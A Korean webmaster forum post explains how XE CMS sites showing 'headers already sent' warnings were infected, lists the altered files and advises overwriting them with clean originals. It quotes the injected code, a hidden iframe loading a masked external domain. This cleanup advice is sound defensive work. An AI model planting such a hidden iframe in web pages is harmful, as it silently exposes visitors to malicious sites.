웹마스터 팁

 

다음은 오류내용입니다~

-----------------------------------------------------------------------------------------------------------------------------------------------

Warning: Cannot modify header information - headers already sent by (output started at /home/hosting_users/cacomm/www/xe/modules/homepage/homepage.class.php:66) in /home/hosting_users/cacomm/www/xe/classes/display/DisplayHandler.class.php on line 138

Warning: Cannot modify header information - headers already sent by (output started at /home/hosting_users/cacomm/www/xe/modules/homepage/homepage.class.php:66) in /home/hosting_users/cacomm/www/xe/classes/display/DisplayHandler.class.php on line 389

Warning: Cannot modify header information - headers already sent by (output started at /home/hosting_users/cacomm/www/xe/modules/homepage/homepage.class.php:66) in /home/hosting_users/cacomm/www/xe/classes/display/DisplayHandler.class.php on line 390

Warning: Cannot modify header information - headers already sent by (output started at /home/hosting_users/cacomm/www/xe/modules/homepage/homepage.class.php:66) in /home/hosting_users/cacomm/www/xe/classes/display/DisplayHandler.class.php on line 391

Warning: Cannot modify header information - headers already sent by (output started at /home/hosting_users/cacomm/www/xe/modules/homepage/homepage.class.php:66) in /home/hosting_users/cacomm/www/xe/classes/display/DisplayHandler.class.php on line 392

Warning: Cannot modify header information - headers already sent by (output started at /home/hosting_users/cacomm/www/xe/modules/homepage/homepage.class.php:66) in /home/hosting_users/cacomm/www/xe/classes/display/DisplayHandler.class.php on line 393

Warning: Cannot modify header information - headers already sent by (output started at /home/hosting_users/cacomm/www/xe/modules/homepage/homepage.class.php:66) in /home/hosting_users/cacomm/www/xe/classes/display/DisplayHandler.class.php on line 394

Warning: Cannot modify header information - headers already sent by (output started at /home/hosting_users/cacomm/www/xe/modules/homepage/homepage.class.php:66) in /home/hosting_users/cacomm/www/xe/classes/display/DisplayHandler.class.php on line 148

Warning: Cannot modify header information - headers already sent by (output started at /home/hosting_users/cacomm/www/xe/modules/homepage/homepage.class.php:66) in /home/hosting_users/cacomm/www/xe/classes/display/DisplayHandler.class.php on line 148
-------------------------------------------------------------------------------------------------------------------------------------------

위 오류가 홈페이지와 관리자접속(admin)시 헤더에 나타난다면

 

뭔지는 모르지만 다음파일에 악성코드가 입력되있습니다.

 

(어제 올라온 질답글에 xe님이 올려주신 내용중 발췌했습니다)

 

www/xe/index.php
www/xe/modules/homepage/homepage.class.php
www/xe/modules/homepage/homepage.smartphone.php
www/xe/modules/homepage/homepage.admin.view.php
www/xe/modules/homepage/homepage.controller.php
www/xe/modules/homepage/homepage.model.php
www/xe/modules/homepage/homepage.view.php
www/xe/modules/admin/tpl/index.html
www/xe/modules/rss/tpl/index.html
www/xe/modules/session/tpl/index.html
www/xe/modules/communication/tpl/index.html
www/xe/modules/spamfilter/tpl/index.html
www/xe/files/cache/module_info/homepage.ko.php
www/xe/common/tpl/default_layout.html

보니 악성코드의 내용은 아이프레임(iframe)이였으며 내용은 맨밑에

<iframe src="./http://????????.com/index.php" width=200 height=141 style="visibility: hidden"></iframe>

이러한 코드가 삽입되있는것을 볼수있습니다.

 

일단 이것을 고치는 방법은 저 파일을 원본파일로 덮어쓰기하여 수정하는 부분입니다.

파일은 첨부하겠습니다^^;(물론 파일을 하나하나 찾아서 업뎃하시는것도 괜찮지만 전 귀찮아서;;만들었습니다 또당할까봐-_-;)

 

또한 저 위 파일말고도 뭔가 더 수정됬을수도 있을꺼같은데 뭐 그건 함 더 걸리면 통체로 다운받고 index나 익스플로러에

 

뿌려지는 파일을 하나하나 찾아보려고 합니다--;;

 

뭐 아무튼 아무쪼록 저런 display오류가 나타난다면

 

메인 index.php파일을 확인해보시고 맨아래 저런 코드가 삽입되어있다면

 

가차없이

 

덮어씌우기 바라겠습니다--;;

 

근데 어떻게 저기에 저렇게 코드가 들어갔을까요;;;

제목 글쓴이 날짜
다양한 언어로 홈페이지 서비스하기 - 무식한 방법 [4] 멀리서 2009.04.21
게시판 상단에 게시판제목을 표시하기 [2] file 연필깎는까치 2009.08.22
로그인 페이지 만드는 방법 [5] 산토 2009.06.12
첨부파일의 외부 무단 링크 차단하기(XE) 게시판설정 [7] file 왕초보왕따 2009.03.02
인용구 접기기능 링크이름 Underline 없애기 [4] file 똑디 2008.08.19
XE 레이아웃 게시판이 3곳이라는 사실 아시나요? [3] serendip 2010.04.19
개인 웹서버의 완성 우분투 (서버이전완료) [1] 준타 2010.04.07
홈페이지 헤더부분에 display.handler.class.php 오류발생시 급해결방법 [3] file 극마 2009.08.09
웹페이지 메시지 만들기 [초보자대응] [6] file cabnb 2009.12.09
게시판 스타일변경시 406에러 해결방법 우리랑 2010.04.21
윈도우 라이브 메신저를 홈페이지 서명난에 달자 [1] file Diver 2007.11.26
웹진 최근 문서에 new 달기 [1] file 황정연720 2009.09.01
PHP 5부터, 객체는 명시적으로 새로운 것을 만드는 clone 키워드를 사용하지 않는 한 참조로 할당됩니다. [1] 난다날아 2009.12.12
주소창에 보이는 아이콘 넣기..제로보드 XE에서 [2] file 은바가지 2008.07.03
서기의 자바스크립트 동영상 강의 #6 - 반복문을 이용한 구구단 출력 [3] 서기 2010.04.13
Unexpected error occured 라는 메시지가 뜰 경우 해결 방안들 [5] RainSky 2009.07.21
XE레이아웃을 자유롭게 편집하기 위한 DIV + css학습 참고 사이트 [3] 한스김 2010.02.15
제로보드XE 가로 스크롤 문제 해결 방법 [7] digitalist 2008.11.12
서기의 자바스크립트 동영상 강의 #7 - 중첩 for문의 사용 서기 2010.04.14
1.4.0.9 설치하는법 (1.2.4.full 설치 안하고 1.4.0.9 쉬운설치) serendip 2010.04.14